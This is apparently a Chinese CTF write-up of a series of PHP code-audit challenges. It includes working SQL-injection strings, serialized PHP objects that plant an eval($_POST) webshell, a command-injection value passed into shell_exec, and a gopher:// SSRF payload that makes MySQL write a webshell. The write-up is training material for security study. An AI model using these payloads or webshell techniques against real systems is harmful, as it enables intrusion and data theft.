废话可能比较多,主要记录自己从那么多文件中找漏洞点的过程
https://blog.csdn.net/rfrder/article/details/113924013
https://blog.csdn.net/miuzzx/article/details/111352849
https://rainy-autumn.top/archives/913
审计一下群主3年前写的漏洞
seay啥也没弄出来,麻了
稍微看了一下代码,我把重点放在了checklogin.php和fun.php
虽然我看不懂fun.php,他长这样:
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>
一般这种应该都有点问题吧,于是全局搜了下看看是否有include这个fun.php,搜索结果是没有,这个暂时就放下
其次就是这个checklogin.php,一看就感觉username有注入点,于是用sqlmap跑一下。使用burp抓包保存文件,然后sqlmap -r web301.txt,弹出的选项一路yes
测试发现有基于时间的盲注,直接跑sqlmap一路到底即可。
在跑的时候,我继续去看了checklogin.php,毕竟这是代码审计,不能光跑脚本
注意到关键内容:
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
}
用户POST传入的userpwd与sql里面查出来的sds_password相等,login就可以为1了。那还注啥,直接传
userid = 1' union select 1#
userpwd = 1
首页就是flag
这样一看,自己代码审计能力太差了,中途还纠结了多少次才做对。
修改的地方:
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
只是在上一道题的基础上进行了sds_decode,这个sds_decode就是之前看到的fun.php。
可以看到,他的返回值是md5(md5($str.md5(base64_encode(“sds”))).“sds”)
因为知道str的值是1,所以自己加密之后再用上面的payload就行了
最后加密得到的是d9c77c4e454869d5d8da3b4be79694d3
userid = 1' union select "d9c77c4e454869d5d8da3b4be79694d3"#
userpwd = 1
这里换源码了,其中有一个sql文件,里面写了
INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');
这里给了账号admin和密文
其次查看sds_decode,发现他正好也echo了sds_decode(‘admin’)的值,在传完之前的payload后,checklogin.php正好回显了admin加密后的值,也sql文件中的相等,说明账号密码就是admin/admin
直接登录就成功了,但是首页没有发现flag
查看新增的文件,发现有个dptadd.php,里面直接注释写了个注入点
//注入点
$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
$dpt_name=$_POST['dpt_name'];
$dpt_address=$_POST['dpt_address'];
$dpt_build_year=$_POST['dpt_build_year'];
$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
$dpt_cert_number=$_POST['dpt_cert_number'];
$dpt_telephone_number=$_POST['dpt_telephone_number'];
$mysqli->query("set names utf-8");
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
$result=$mysqli->query($sql);
echo $sql;
if($result===true){
$mysqli->close();
header("location:dpt.php");
}else{
die(mysqli_error($mysqli));
}
}
说明这个界面有注入点,无过滤的insert注入,直接在dptadd.php发POST包就好了
dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#
dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(flag) from sds_fl9g)#
增加了全局waf
function sds_waf($str){
return preg_match('/[0-9]|[a-z]|-/i', $str);
}
同上
dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(column_name) from information_schema.columns where table_name='sds_flaag')#
dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(flag) from sds_flaag)#
下载新的源码,可以看到fun.php增加了过滤
function sds_waf($str){
if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
return false;
}else{
return true;
}
}
然后还发现多了个class.php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
很明显,这里能通过销毁时写马儿。包含class.php的文件是checklogin.php
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
$user = unserialize($user_cookie);
POC:
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a = new user('mazi.php','');
echo urlencode(serialize($a));
得到
O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22mazi.php%22%3Bs%3A8%3A%22password%22%3Bs%3A30%3A%22%3C%3Fphp+eval%28%24_POST%5Bmumuzi%5D%29%3B+%3F%3E%22%3B%7D
然后蚁剑mazi.php传mumuzi,查看数据库即可,账密root
开始使用mvc结构
mvc是啥。。。
挖藕
这次的checklogin包含了一个servise.php,servise包含了dao和fun.php,dao包含了class.php和config.php
可以看到,dao.php中有一条sql查询语句在get_user_password_by_username函数,他的调用在service.php
但是并没有发现哪里能够使得sql这个语句回显的地方,本来还想着可能是盲注之类的,但是一看wp发现依旧是反序列化那个点
class log{
public $title='log.txt';
public $info='';
public function loginfo($info){
$this->info=$this->info.$info;
}
public function close(){
file_put_contents($this->title, $this->info);
}
}
public function __destruct(){
$this->conn->close();
}
我一直误解了这条$this->conn->close()导致没有正确找到漏洞点,原来是log类中有个close()。。
这里能注意到会写如title和info,于是直接写马。注意index.php是先base64_decode()再反序列化
class dao{
private $conn;
public function __construct()
{
$this->conn=new log();
}
}
class log{
public $title='mazi.php';
public $info='';
}
$a = new dao();
echo base64_encode(serialize($a));
得到
TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo4OiJtYXppLnBocCI7czo0OiJpbmZvIjtzOjI5OiI8P3BocCBldmFsKCRfUE9TVFttdW11emldKTs/PiI7fX0=
直接cookie传index.php就可以了,不需要登录
flag就在flag.php
群主把php文件给分了下类,其中全局搜unserialize发现这次退出登录文件存在反序列化
对其进行跟进,最后在dao.php发现传入的值最后会进入shell_exec函数,传入的参数是config.php的cache_dir
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
这里不妨用分号隔断,然后传入自己想传入的命令
由于上一道题flag在flag.php,而群主只是优化了代码,所以这里不再去传马了
class config{
public $cache_dir = ';mv /var/www/html/flag.php /var/www/html/flag.txt;';
}
class dao{
private $config;
public function __construct()
{
$this->config = new config();
}
}
$a = new dao();
echo base64_encode(serialize($a));
得到
TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NTA6IjttdiAvdmFyL3d3dy9odG1sL2ZsYWcucGhwIC92YXIvd3d3L2h0bWwvZmxhZy50eHQ7Ijt9fQ==
然后访问flag.txt即可
题目明确表示需要拿shell
但是打开dao.php后发现,无法利用了
然后发现在fun.php中,多加了个函数
function checkUpdate($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
然后全局搜了一下checkUpdate,只有dao.php
#dao.php
public function checkVersion(){
return checkUpdate($this->config->update_url);
}
#config.php
class config{
public $update_url = 'https://vip.ctf.show/version.txt';
}
我看不懂,看wp去了
利用点依旧在index.php
#index.php
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$lastVersion=$service->checkVersion();
}
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
checkUpdate函数存在ssrf漏洞,因为他能curl
于是通过gopherus生成payload来打mysql
https://github.com/tarunkant/Gopherus
构造POC
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4e%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%6d%75%6d%75%7a%69%5d%29%3b%20%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%6d%61%7a%69%2e%70%68%70%22%01%00%00%00%01';
}
class dao{
private $config;
public function __construct(){
$this->config = new config();
}
}
echo base64_encode(serialize(new dao()));
得到
TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3ODc6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNGUlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlNmQlNzUlNmQlNzUlN2ElNjklNWQlMjklM2IlMjAlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjIlMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlNmQlNjElN2ElNjklMmUlNzAlNjglNzAlMjIlMDElMDAlMDAlMDAlMDEiO319
需要拿shell,308的方法不行了,mysql 有密码了
文件就是308的文件,真的,我这种纯萌新真不知道该怎么做,只能死看wp去了
这次是打fastcgi
FastCGI是一个可伸缩地、高速地在HTTP服务器和动态脚本语言间通信的接口(FastCGI接口在Linux下是socket(可以是文件socket,也可以是ip socket)),主要优点是把动态语言和HTTP服务器分离开来。
其他操作同上不变
文件还是308的文件
这一次,用相同的方式,访问flag.txt显示just a joke
于是我写个马进去看
蚁剑连上之后很奇怪不能虚拟终端,本想着执行命令找flag
但是最后在文件管理找,/var发现了flag,双击打开即可
至此,整个代码审计部分到此结束